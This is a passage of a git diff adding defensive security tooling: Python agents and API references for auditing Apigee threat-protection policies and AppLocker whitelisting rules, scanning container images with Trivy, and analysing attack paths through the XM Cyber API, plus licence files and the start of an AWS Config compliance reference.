policy_files] + required_policies = [ + ("JSONThreatProtection", "json_threat_protection", "HIGH"), + ("SpikeArrest", "spike_arrest", "HIGH"), + ("OAuthV2", "oauth_authentication", "CRITICAL"), + ("CORS", "cors_policy", "MEDIUM"), + ] + for policy_type, issue_name, severity in required_policies: + has_policy = any(policy_type.lower() in p.lower() for p in policy_names) + if not has_policy: + for pf in policy_files: + content = pf.read_text(errors="ignore") + if policy_type in content: + has_policy = True + break + if not has_policy: + findings.append({ + "issue": f"missing_{issue_name}", + "policy_type": policy_type, + "severity": severity, + }) + return findings + + +def audit_threat_protection_config(policy_path): + """Audit a threat protection policy for weak configurations.""" + findings = [] + content = Path(policy_path).read_text(errors="ignore") + depth_match = re.search(r"(\d+)", content) + if depth_match and int(depth_match.group(1)) > 10: + findings.append({ + "issue": "excessive_container_depth", + "value": int(depth_match.group(1)), + "recommended": 5, "severity": "MEDIUM", + }) + string_match = re.search(r"(\d+)", content) + if string_match and int(string_match.group(1)) > 10000: + findings.append({ + "issue": "excessive_string_length", + "value": int(string_match.group(1)), + "recommended": 500, "severity": "MEDIUM", + }) + rate_match = re.search(r"(\d+)(ps|pm)", content) + if rate_match: + rate_val = int(rate_match.group(1)) + unit = rate_match.group(2) + if unit == "ps" and rate_val > 100: + findings.append({ + "issue": "spike_arrest_too_permissive", + "rate": f"{rate_val}{unit}", "severity": "HIGH", + }) + return findings + + +def main(): + parser = argparse.ArgumentParser(description="Apigee API Threat Protection Agent") + parser.add_argument("--action", choices=[ + "generate", "audit_bundle", "audit_policy", "full" + ], default="generate") + parser.add_argument("--bundle", help="Apigee proxy bundle path") + parser.add_argument("--policy", help="Policy XML file to audit") + parser.add_argument("--output", default="apigee_threat_protection_report.json") + args = parser.parse_args() + + report = {"generated_at": datetime.utcnow().isoformat(), "findings": {}} + + if args.action == "generate": + report["policies"] = { + "json_threat_protection": generate_json_threat_policy(), + "spike_arrest": generate_spike_arrest_policy(), + "regex_protection": generate_regex_protection_policy(), + } + print("[+] Generated 3 Apigee security policies") + + if args.action in ("audit_bundle", "full") and args.bundle: + f = analyze_apigee_proxy_bundle(args.bundle) + report["findings"]["bundle_audit"] = f + print(f"[+] Bundle audit findings: {len(f)}") + + if args.action in ("audit_policy", "full") and args.policy: + f = audit_threat_protection_config(args.policy) + report["findings"]["policy_audit"] = f + print(f"[+] Policy audit findings: {len(f)}") + + with open(args.output, "w") as fout: + json.dump(report, fout, indent=2, default=str) + print(f"[+] Report saved to {args.output}") + + +if __name__ == "__main__": + main() diff --git a/skills/implementing-application-whitelisting-with-applocker/LICENSE b/skills/implementing-application-whitelisting-with-applocker/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-application-whitelisting-with-applocker/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-application-whitelisting-with-applocker/references/api-reference.md b/skills/implementing-application-whitelisting-with-applocker/references/api-reference.md new file mode 100644 index 00000000..290efa86 --- /dev/null +++ b/skills/implementing-application-whitelisting-with-applocker/references/api-reference.md @@ -0,0 +1,58 @@ +# API Reference: Implementing Application Whitelisting with AppLocker + +## PowerShell AppLocker Management + +```powershell +# Export current policy +Get-AppLockerPolicy -Effective -Xml | Out-File applocker_policy.xml + +# Import policy from XML +Set-AppLockerPolicy -XmlPolicy applocker_policy.xml + +# Test if file is allowed +Test-AppLockerPolicy -XmlPolicy policy.xml -Path "C:\app.exe" -User Everyone + +# Get AppLocker event logs +Get-WinEvent -LogName "Microsoft-Windows-AppLocker/EXE and DLL" +``` + +## AppLocker Event IDs + +| Event ID | Type | Meaning | +|----------|------|---------| +| 8002 | EXE/DLL | Allowed | +| 8003 | EXE/DLL | Blocked | +| 8004 | EXE/DLL | Would block (audit) | +| 8005 | Script | Allowed | +| 8006 | Script | Blocked | +| 8007 | Script | Would block (audit) | + +## Rule Collections + +| Collection | File Types | +|------------|------------| +| Executable | .exe, .com | +| Windows Installer | .msi, .msp, .mst | +| Script | .ps1, .bat, .cmd, .vbs, .js | +| DLL | .dll, .ocx | +| Packaged App | AppX/MSIX | + +## GPO Configuration Path + +``` +Computer Configuration > Policies > Windows Settings > + Security Settings > Application Control Policies > AppLocker +``` + +## Default Rule Paths + +``` +%PROGRAMFILES%\* - Allow Everyone +%WINDIR%\* - Allow Everyone +* - Allow BUILTIN\Administrators +``` + +### References + +- AppLocker: https://learn.microsoft.com/en-us/windows/security/application-security/application-control/app-control-for-business/applocker/applocker-overview +- AppLocker PowerShell: https://learn.microsoft.com/en-us/powershell/module/applocker/ diff --git a/skills/implementing-application-whitelisting-with-applocker/scripts/agent.py b/skills/implementing-application-whitelisting-with-applocker/scripts/agent.py new file mode 100644 index 00000000..b8e148e1 --- /dev/null +++ b/skills/implementing-application-whitelisting-with-applocker/scripts/agent.py @@ -0,0 +1,182 @@ +#!/usr/bin/env python3 +"""Agent for implementing and auditing AppLocker application whitelisting policies.""" + +import json +import argparse +import re +import subprocess +import xml.etree.ElementTree as ET +from datetime import datetime +from pathlib import Path + + +APPLOCKER_EVENT_IDS = { + 8002: ("EXE/DLL allowed", "INFO"), + 8003: ("EXE/DLL denied", "HIGH"), + 8004: ("EXE/DLL would be denied (audit)", "MEDIUM"), + 8005: ("Script allowed", "INFO"), + 8006: ("Script denied", "HIGH"), + 8007: ("Script would be denied (audit)", "MEDIUM"), + 8020: ("Packaged app allowed", "INFO"), + 8021: ("Packaged app denied", "HIGH"), + 8022: ("Packaged app would be denied (audit)", "MEDIUM"), +} + + +def parse_applocker_policy(xml_path): + """Parse an exported AppLocker policy XML file.""" + tree = ET.parse(xml_path) + root = tree.getroot() + ns = {"al": "http://schemas.microsoft.com/windows/2006/applocker"} + rules = [] + for collection in root.findall(".//al:RuleCollection", ns): + rule_type = collection.get("Type", "") + mode = collection.get("EnforcementMode", "NotConfigured") + for rule in collection: + rule_data = { + "collection": rule_type, + "enforcement_mode": mode, + "name": rule.get("Name", ""), + "action": rule.get("Action", ""), + "user_or_group": rule.get("UserOrGroupSid", ""), + "type": rule.tag.replace(f"{{{ns.get('al', '')}}}", ""), + } + conditions = rule.findall(".//*") + for cond in conditions: + if "Path" in cond.tag: + rule_data["path"] = cond.get("Path", "") + elif "Publisher" in cond.tag: + rule_data["publisher"] = cond.get("PublisherName", "") + elif "Hash" in cond.tag: + rule_data["hash"] = cond.get("Data", "") + rules.append(rule_data) + return rules + + +def audit_applocker_rules(rules): + """Audit AppLocker rules for security weaknesses.""" + findings = [] + for rule in rules: + if rule.get("enforcement_mode") == "AuditOnly": + findings.append({ + "collection": rule["collection"], + "issue": "audit_mode_only", + "severity": "MEDIUM", + "recommendation": "Switch to Enforce mode after validation", + }) + if rule.get("enforcement_mode") == "NotConfigured": + findings.append({ + "collection": rule["collection"], + "issue": "not_configured", + "severity": "HIGH", + "recommendation": "Enable enforcement for this rule collection", + }) + path = rule.get("path", "") + if path and rule.get("action") == "Allow": + risky_paths = [r"\\Users\\", r"\\Temp\\", r"\\Downloads\\", + r"\\AppData\\", r"\\ProgramData\\"] + for rp in risky_paths: + if re.search(rp, path, re.IGNORECASE): + findings.append({ + "rule_name": rule["name"], + "path": path, + "issue": "allow_from_user_writable_path", + "severity": "CRITICAL", + }) + break + if rule.get("user_or_group") == "S-1-1-0" and rule.get("action") == "Allow": + findings.append({ + "rule_name": rule["name"], + "issue": "allow_for_everyone", + "severity": "MEDIUM", + }) + return findings + + +def analyze_applocker_events(log_path): + """Analyze AppLocker event logs for blocked and audit events.""" + events = [] + with open(log_path) as f: + for line in f: + try: + entry = json.loads(line) + except json.JSONDecodeError: + continue + event_id = int(entry.get("EventID", entry.get("event_id", 0))) + if event_id in APPLOCKER_EVENT_IDS: + desc, severity = APPLOCKER_EVENT_IDS[event_id] + events.append({ + "event_id": event_id, + "description": desc, + "severity": severity, + "timestamp": entry.get("TimeCreated", entry.get("timestamp", "")), + "computer": entry.get("Computer", entry.get("hostname", "")), + "user": entry.get("User", entry.get("user", "")), + "file_path": entry.get("FilePath", entry.get("file_path", "")), + "publisher": entry.get("Publisher", ""), + }) + denied = [e for e in events if "denied" in e["description"].lower()] + audit = [e for e in events if "audit" in e["description"].lower()] + return {"total_events": len(events), "denied": denied, "audit_blocks": audit} + + +def generate_baseline_policy(): + """Generate a baseline AppLocker policy recommendation.""" + return { + "exe_rules": { + "enforcement_mode": "Enforce", + "default_rules": [ + {"action": "Allow", "path": "%PROGRAMFILES%\\*", "scope": "Everyone"}, + {"action": "Allow", "path": "%WINDIR%\\*", "scope": "Everyone"}, + {"action": "Allow", "path": "*", "scope": "BUILTIN\\Administrators"}, + ], + }, + "script_rules": { + "enforcement_mode": "Enforce", + "default_rules": [ + {"action": "Allow", "path": "%PROGRAMFILES%\\*", "scope": "Everyone"}, + {"action": "Allow", "path": "%WINDIR%\\*", "scope": "Everyone"}, + ], + }, + "dll_rules": { + "enforcement_mode": "AuditOnly", + "note": "Start with audit mode due to high volume", + }, + } + + +def main(): + parser = argparse.ArgumentParser(description="AppLocker Whitelisting Agent") + parser.add_argument("--policy", help="Exported AppLocker policy XML") + parser.add_argument("--events", help="AppLocker event log (JSON lines)") + parser.add_argument("--output", default="applocker_audit_report.json") + parser.add_argument("--action", choices=["audit", "events", "baseline", "full"], + default="full") + args = parser.parse_args() + + report = {"generated_at": datetime.utcnow().isoformat(), "findings": {}} + + if args.action in ("audit", "full") and args.policy: + rules = parse_applocker_policy(args.policy) + findings = audit_applocker_rules(rules) + report["findings"]["policy_audit"] = findings + report["findings"]["total_rules"] = len(rules) + print(f"[+] Policy rules: {len(rules)}, Issues: {len(findings)}") + + if args.action in ("events", "full") and args.events: + result = analyze_applocker_events(args.events) + report["findings"]["event_analysis"] = result + print(f"[+] Events: {result['total_events']}, Denied: {len(result['denied'])}") + + if args.action in ("baseline", "full"): + baseline = generate_baseline_policy() + report["findings"]["baseline_policy"] = baseline + print("[+] Baseline policy generated") + + with open(args.output, "w") as fout: + json.dump(report, fout, indent=2, default=str) + print(f"[+] Report saved to {args.output}") + + +if __name__ == "__main__": + main() diff --git a/skills/implementing-aqua-security-for-container-scanning/LICENSE b/skills/implementing-aqua-security-for-container-scanning/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-aqua-security-for-container-scanning/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-aqua-security-for-container-scanning/references/api-reference.md b/skills/implementing-aqua-security-for-container-scanning/references/api-reference.md new file mode 100644 index 00000000..6b2eb663 --- /dev/null +++ b/skills/implementing-aqua-security-for-container-scanning/references/api-reference.md @@ -0,0 +1,62 @@ +# API Reference: Container Image Vulnerability Scanner (Trivy) + +## Dependencies + +| Library | Version | Purpose | +|---------|---------|---------| +| trivy CLI | >=0.50 | Container image scanning (invoked via subprocess) | + +## CLI Usage + +```bash +python scripts/agent.py \ + --images nginx:latest alpine:3.19 myapp:v1.2 \ + --severity CRITICAL,HIGH \ + --sbom \ + --output-dir /reports/ \ + --output trivy_report.json +``` + +## Functions + +### `check_trivy_installed() -> bool` +Verifies Trivy CLI is available in PATH by running `trivy --version`. + +### `scan_image(image, severity, ignore_unfixed) -> dict` +Runs `trivy image --format json --severity CRITICAL,HIGH `. Returns parsed JSON output. + +### `scan_image_misconfig(image) -> dict` +Runs `trivy image --scanners misconfig` to detect Dockerfile and config issues. + +### `scan_image_secrets(image) -> dict` +Runs `trivy image --scanners secret` to find embedded secrets in image layers. + +### `generate_sbom(image, output_path) -> bool` +Runs `trivy image --format cyclonedx` to produce CycloneDX SBOM. + +### `parse_vuln_results(scan_data) -> list` +Extracts vulnerability details from Trivy JSON: VulnerabilityID, PkgName, InstalledVersion, FixedVersion, Severity. + +### `compute_summary(vulns) -> dict` +Counts vulnerabilities by severity level (CRITICAL/HIGH/MEDIUM/LOW) and fixable count. + +### `scan_multiple_images(images, severity) -> dict` +Orchestrates scanning of multiple images and aggregates results. + +## Trivy CLI Commands Used + +| Command | Purpose | +|---------|---------| +| `trivy image --format json` | Vulnerability scan with JSON output | +| `trivy image --scanners misconfig` | Misconfiguration detection | +| `trivy image --scanners secret` | Secret detection in layers | +| `trivy image --format cyclonedx` | SBOM generation | + +## Output Schema + +```json +{ + "images": [{"image": "nginx:latest", "summary": {"CRITICAL": 2, "HIGH": 5, "fixable": 4}}], + "overall_summary": {"CRITICAL": 2, "HIGH": 5, "total": 7} +} +``` diff --git a/skills/implementing-aqua-security-for-container-scanning/scripts/agent.py b/skills/implementing-aqua-security-for-container-scanning/scripts/agent.py new file mode 100644 index 00000000..14e2ea21 --- /dev/null +++ b/skills/implementing-aqua-security-for-container-scanning/scripts/agent.py @@ -0,0 +1,155 @@ +#!/usr/bin/env python3 +"""Container image vulnerability scanning agent using Trivy CLI via subprocess.""" + +import argparse +import json +import logging +import os +import subprocess +import sys +from datetime import datetime +from typing import Dict, List, Optional + +logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") +logger = logging.getLogger(__name__) + + +def check_trivy_installed() -> bool: + """Check if Trivy CLI is available.""" + try: + result = subprocess.run(["trivy", "--version"], capture_output=True, text=True, timeout=10) + return result.returncode == 0 + except FileNotFoundError: + return False + + +def scan_image(image: str, severity: str = "CRITICAL,HIGH", + ignore_unfixed: bool = True) -> dict: + """Scan a container image for vulnerabilities using Trivy.""" + cmd = ["trivy", "image", "--format", "json", "--severity", severity, image] + if ignore_unfixed: + cmd.append("--ignore-unfixed") + try: + result = subprocess.run(cmd, capture_output=True, text=True, timeout=300) + if result.stdout: + return json.loads(result.stdout) + except (subprocess.TimeoutExpired, json.JSONDecodeError) as exc: + logger.error("Trivy scan failed for %s: %s", image, exc) + return {} + + +def scan_image_misconfig(image: str) -> dict: + """Scan a container image for misconfigurations.""" + cmd = ["trivy", "image", "--format", "json", "--scanners", "misconfig", image] + try: + result = subprocess.run(cmd, capture_output=True, text=True, timeout=300) + if result.stdout: + return json.loads(result.stdout) + except (subprocess.TimeoutExpired, json.JSONDecodeError) as exc: + logger.error("Misconfig scan failed: %s", exc) + return {} + + +def scan_image_secrets(image: str) -> dict: + """Scan a container image for embedded secrets.""" + cmd = ["trivy", "image", "--format", "json", "--scanners", "secret", image] + try: + result = subprocess.run(cmd, capture_output=True, text=True, timeout=300) + if result.stdout: + return json.loads(result.stdout) + except (subprocess.TimeoutExpired, json.JSONDecodeError) as exc: + logger.error("Secret scan failed: %s", exc) + return {} + + +def generate_sbom(image: str, output_path: str) -> bool: + """Generate SBOM in CycloneDX format for an image.""" + cmd = ["trivy", "image", "--format", "cyclonedx", "--output", output_path, image] + try: + result = subprocess.run(cmd, capture_output=True, text=True, timeout=300) + return result.returncode == 0 + except subprocess.TimeoutExpired: + return False + + +def parse_vuln_results(scan_data: dict) -> List[dict]: + """Parse Trivy JSON output into structured vulnerability list.""" + vulns = [] + for result in scan_data.get("Results", []): + target = result.get("Target", "") + for vuln in result.get("Vulnerabilities", []): + vulns.append({ + "target": target, + "vuln_id": vuln.get("VulnerabilityID", ""), + "pkg_name": vuln.get("PkgName", ""), + "installed": vuln.get("InstalledVersion", ""), + "fixed": vuln.get("FixedVersion", ""), + "severity": vuln.get("Severity", ""), + "title": vuln.get("Title", ""), + }) + return vulns + + +def compute_summary(vulns: List[dict]) -> dict: + """Compute severity summary from vulnerability list.""" + summary = {"CRITICAL": 0, "HIGH": 0, "MEDIUM": 0, "LOW": 0} + for v in vulns: + sev = v.get("severity", "").upper() + if sev in summary: + summary[sev] += 1 + summary["total"] = len(vulns) + fixable = sum(1 for v in vulns if v.get("fixed")) + summary["fixable"] = fixable + return summary + + +def scan_multiple_images(images: List[str], severity: str) -> dict: + """Scan multiple container images and aggregate results.""" + report = {"scan_date": datetime.utcnow().isoformat(), "images": []} + for image in images: + logger.info("Scanning %s...", image) + scan_data = scan_image(image, severity) + vulns = parse_vuln_results(scan_data) + report["images"].append({ + "image": image, "vulnerabilities": vulns, + "summary": compute_summary(vulns), + }) + totals = {"CRITICAL": 0, "HIGH": 0, "MEDIUM": 0, "LOW": 0, "total": 0} + for img in report["images"]: + for k in totals: + totals[k] += img["summary"].get(k, 0) + report["overall_summary"] = totals + return report + + +def main(): + parser = argparse.ArgumentParser(description="Container Image Vulnerability Scanner (Trivy)") + parser.add_argument("--images", nargs="+", required=True, help="Container images to scan") + parser.add_argument("--severity", default="CRITICAL,HIGH", help="Severity filter") + parser.add_argument("--sbom", action="store_true", help="Generate SBOM for each image") + parser.add_argument("--output-dir", default=".", help="Output directory") + parser.add_argument("--output", default="trivy_report.json") + args = parser.parse_args() + + if not check_trivy_installed(): + logger.error("Trivy CLI not found. Install: https://aquasecurity.github.io/trivy/") + sys.exit(1) + + os.makedirs(args.output_dir, exist_ok=True) + report = scan_multiple_images(args.images, args.severity) + + if args.sbom: + for image in args.images: + sbom_name = image.replace("/", "_").replace(":", "_") + "_sbom.json" + sbom_path = os.path.join(args.output_dir, sbom_name) + generate_sbom(image, sbom_path) + + out_path = os.path.join(args.output_dir, args.output) + with open(out_path, "w") as f: + json.dump(report, f, indent=2) + logger.info("Report saved to %s", out_path) + print(json.dumps(report["overall_summary"], indent=2)) + + +if __name__ == "__main__": + main() diff --git a/skills/implementing-attack-path-analysis-with-xm-cyber/LICENSE b/skills/implementing-attack-path-analysis-with-xm-cyber/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-attack-path-analysis-with-xm-cyber/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-attack-path-analysis-with-xm-cyber/references/api-reference.md b/skills/implementing-attack-path-analysis-with-xm-cyber/references/api-reference.md new file mode 100644 index 00000000..0be5bc32 --- /dev/null +++ b/skills/implementing-attack-path-analysis-with-xm-cyber/references/api-reference.md @@ -0,0 +1,59 @@ +# API Reference: XM Cyber Attack Path Analysis Agent + +## Dependencies + +| Library | Version | Purpose | +|---------|---------|---------| +| requests | >=2.28 | HTTP client for XM Cyber REST API | + +## CLI Usage + +```bash +python scripts/agent.py \ + --url https://xmcyber.example.com \ + --api-key YOUR_API_KEY \ + --output-dir /reports/ \ + --output attack_path_report.json +``` + +## Functions + +### `XMCyberClient(base_url, api_key)` +Client class with Bearer token auth for the XM Cyber API. + +### `get_scenarios() -> list` +GET `/api/v1/scenarios` - Lists all attack simulation scenarios. + +### `get_attack_paths(scenario_id) -> list` +GET `/api/v1/scenarios/{id}/attack-paths` - Returns attack paths for a scenario. + +### `get_choke_points(scenario_id) -> list` +GET `/api/v1/scenarios/{id}/choke-points` - Returns points where attack paths converge. + +### `get_critical_assets() -> list` +GET `/api/v1/critical-assets` - Lists defined critical business assets. + +### `get_entities_at_risk(scenario_id) -> list` +GET `/api/v1/scenarios/{id}/entities-at-risk` - Entities reachable via attack paths. + +### `get_remediation_actions(scenario_id) -> list` +GET `/api/v1/scenarios/{id}/remediations` - Prioritized fix recommendations. + +### `analyze_choke_points(choke_points) -> dict` +Ranks choke points by paths_through count, returns top 10. + +### `compute_risk_score(attack_paths, critical_assets) -> dict` +Calculates critical asset exposure percentage from reachable targets. + +## Output Schema + +```json +{ + "scenarios": [{ + "name": "Full Environment", + "attack_paths": 1234, + "choke_point_analysis": {"total_choke_points": 45, "top_choke_points": []}, + "risk_score": {"critical_asset_exposure_pct": 67.5} + }] +} +``` diff --git a/skills/implementing-attack-path-analysis-with-xm-cyber/scripts/agent.py b/skills/implementing-attack-path-analysis-with-xm-cyber/scripts/agent.py new file mode 100644 index 00000000..d4eb1d94 --- /dev/null +++ b/skills/implementing-attack-path-analysis-with-xm-cyber/scripts/agent.py @@ -0,0 +1,146 @@ +#!/usr/bin/env python3 +"""Attack path analysis agent using XM Cyber REST API for exposure management.""" + +import argparse +import json +import logging +import os +import sys +from datetime import datetime +from typing import Dict, List, Optional + +try: + import requests +except ImportError: + sys.exit("requests required: pip install requests") + +logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") +logger = logging.getLogger(__name__) + + +class XMCyberClient: + """Client for XM Cyber Continuous Exposure Management API.""" + + def __init__(self, base_url: str, api_key: str): + self.base_url = base_url.rstrip("/") + self.session = requests.Session() + self.session.headers.update({ + "Authorization": f"Bearer {api_key}", + "Content-Type": "application/json", + }) + + def get_scenarios(self) -> List[dict]: + """List all attack scenarios.""" + resp = self.session.get(f"{self.base_url}/api/v1/scenarios", timeout=30) + resp.raise_for_status() + return resp.json().get("data", []) + + def get_attack_paths(self, scenario_id: str) -> List[dict]: + """Get attack paths for a specific scenario.""" + resp = self.session.get( + f"{self.base_url}/api/v1/scenarios/{scenario_id}/attack-paths", timeout=30) + resp.raise_for_status() + return resp.json().get("data", []) + + def get_choke_points(self, scenario_id: str) -> List[dict]: + """Get choke points where multiple attack paths converge.""" + resp = self.session.get( + f"{self.base_url}/api/v1/scenarios/{scenario_id}/choke-points", timeout=30) + resp.raise_for_status() + return resp.json().get("data", []) + + def get_critical_assets(self) -> List[dict]: + """List critical assets defined in the platform.""" + resp = self.session.get(f"{self.base_url}/api/v1/critical-assets", timeout=30) + resp.raise_for_status() + return resp.json().get("data", []) + + def get_entities_at_risk(self, scenario_id: str) -> List[dict]: + """Get entities at risk of compromise in a scenario.""" + resp = self.session.get( + f"{self.base_url}/api/v1/scenarios/{scenario_id}/entities-at-risk", timeout=30) + resp.raise_for_status() + return resp.json().get("data", []) + + def get_remediation_actions(self, scenario_id: str) -> List[dict]: + """Get recommended remediation actions prioritized by impact.""" + resp = self.session.get( + f"{self.base_url}/api/v1/scenarios/{scenario_id}/remediations", timeout=30) + resp.raise_for_status() + return resp.json().get("data", []) + + +def analyze_choke_points(choke_points: List[dict]) -> dict: + """Analyze choke points to identify highest-impact remediation targets.""" + sorted_cp = sorted(choke_points, key=lambda c: c.get("paths_through", 0), reverse=True) + return { + "total_choke_points": len(choke_points), + "top_choke_points": [ + {"entity": cp.get("entity_name", ""), "type": cp.get("entity_type", ""), + "paths_through": cp.get("paths_through", 0), + "techniques": cp.get("techniques", [])} + for cp in sorted_cp[:10] + ], + } + + +def compute_risk_score(attack_paths: List[dict], critical_assets: List[dict]) -> dict: + """Compute risk score based on attack path complexity and critical asset exposure.""" + reachable = set() + for path in attack_paths: + target = path.get("target_asset", "") + if target: + reachable.add(target) + critical_names = {a.get("name", "") for a in critical_assets} + compromised = reachable & critical_names + pct = (len(compromised) / len(critical_names) * 100) if critical_names else 0 + return { + "total_paths": len(attack_paths), + "unique_targets": len(reachable), + "critical_assets_reachable": len(compromised), + "critical_asset_exposure_pct": round(pct, 1), + } + + +def generate_report(client: XMCyberClient) -> dict: + """Generate comprehensive attack path analysis report.""" + report = {"analysis_date": datetime.utcnow().isoformat(), "scenarios": []} + scenarios = client.get_scenarios() + critical_assets = client.get_critical_assets() + report["critical_assets_count"] = len(critical_assets) + + for scenario in scenarios[:5]: + sid = scenario.get("id", "") + paths = client.get_attack_paths(sid) + choke = client.get_choke_points(sid) + remediations = client.get_remediation_actions(sid) + report["scenarios"].append({ + "id": sid, "name": scenario.get("name", ""), + "attack_paths": len(paths), + "choke_point_analysis": analyze_choke_points(choke), + "risk_score": compute_risk_score(paths, critical_assets), + "top_remediations": remediations[:5], + }) + return report + + +def main(): + parser = argparse.ArgumentParser(description="XM Cyber Attack Path Analysis Agent") + parser.add_argument("--url", required=True, help="XM Cyber platform URL") + parser.add_argument("--api-key", required=True, help="API key") + parser.add_argument("--output-dir", default=".", help="Output directory") + parser.add_argument("--output", default="attack_path_report.json") + args = parser.parse_args() + + os.makedirs(args.output_dir, exist_ok=True) + client = XMCyberClient(args.url, args.api_key) + report = generate_report(client) + out_path = os.path.join(args.output_dir, args.output) + with open(out_path, "w") as f: + json.dump(report, f, indent=2) + logger.info("Report saved to %s", out_path) + print(json.dumps(report, indent=2)) + + +if __name__ == "__main__": + main() diff --git a/skills/implementing-aws-config-rules-for-compliance/LICENSE b/skills/implementing-aws-config-rules-for-compliance/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-aws-config-rules-for-compliance/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-aws-config-rules-for-compliance/references/api-reference.md b/skills/implementing-aws-config-rules-for-compliance/references/api-reference.md new file mode 100644 index 00000000..3ee722b5 --- /dev/null +++ b/skills/implementing-aws-config-rules-for-compliance/references/api-reference.md @@ -0,0 +1,54 @@ +# API Reference: Implementing AWS Config Rules for Compliance + +## Libraries + +### boto3 -- AWS Config Service +- **Install**: `pip install boto3` +- **Docs**: https://boto3.amazonaws.com/v1/documentation/api/latest/reference/services/config.html + +### Key Methods + +| Method | Description | +|--------|-------------| +| `put_configuration_recorder()` | Create/update Config recorder | +| `start_configuration_recorder()` | Start recording configurations | +| `put_delivery_channel()` | Configure S3 delivery channel | +| `put_config_rule()` | Deploy a managed or custom Config rule | +| `get_compliance_summary_by_config_rule()` | Aggregate compliance counts | +| `get_compliance_details_by_config_rule()` | Non-compliant resources per rule | +| `put_remediation_configurations()` | Set up auto-remediation actions | +| `put_configuration_aggregator()` | Multi-account compliance aggregation | +| `describe_config_rules()` | List all deployed Config rules | +| `get_aggregate_compliance_details_by_config_rule()` | Cross-account compliance | + +## Managed Rule Source Identifiers + +| Rule | SourceIdentifier | +|------|-----------------| +| S3 public read | `S3_BUCKET_PUBLIC_READ_PROHIBITED` | +| S3 encryption | `S3_BUCKET_SERVER_SIDE_ENCRYPTION_ENABLED` | +| IAM root key | `IAM_ROOT_ACCESS_KEY_CHECK` | +| MFA console | `MFA_ENABLED_FOR_IAM_CONSOLE_ACCESS` | +| SSH restricted | `INCOMING_SSH_DISABLED` | +| VPC 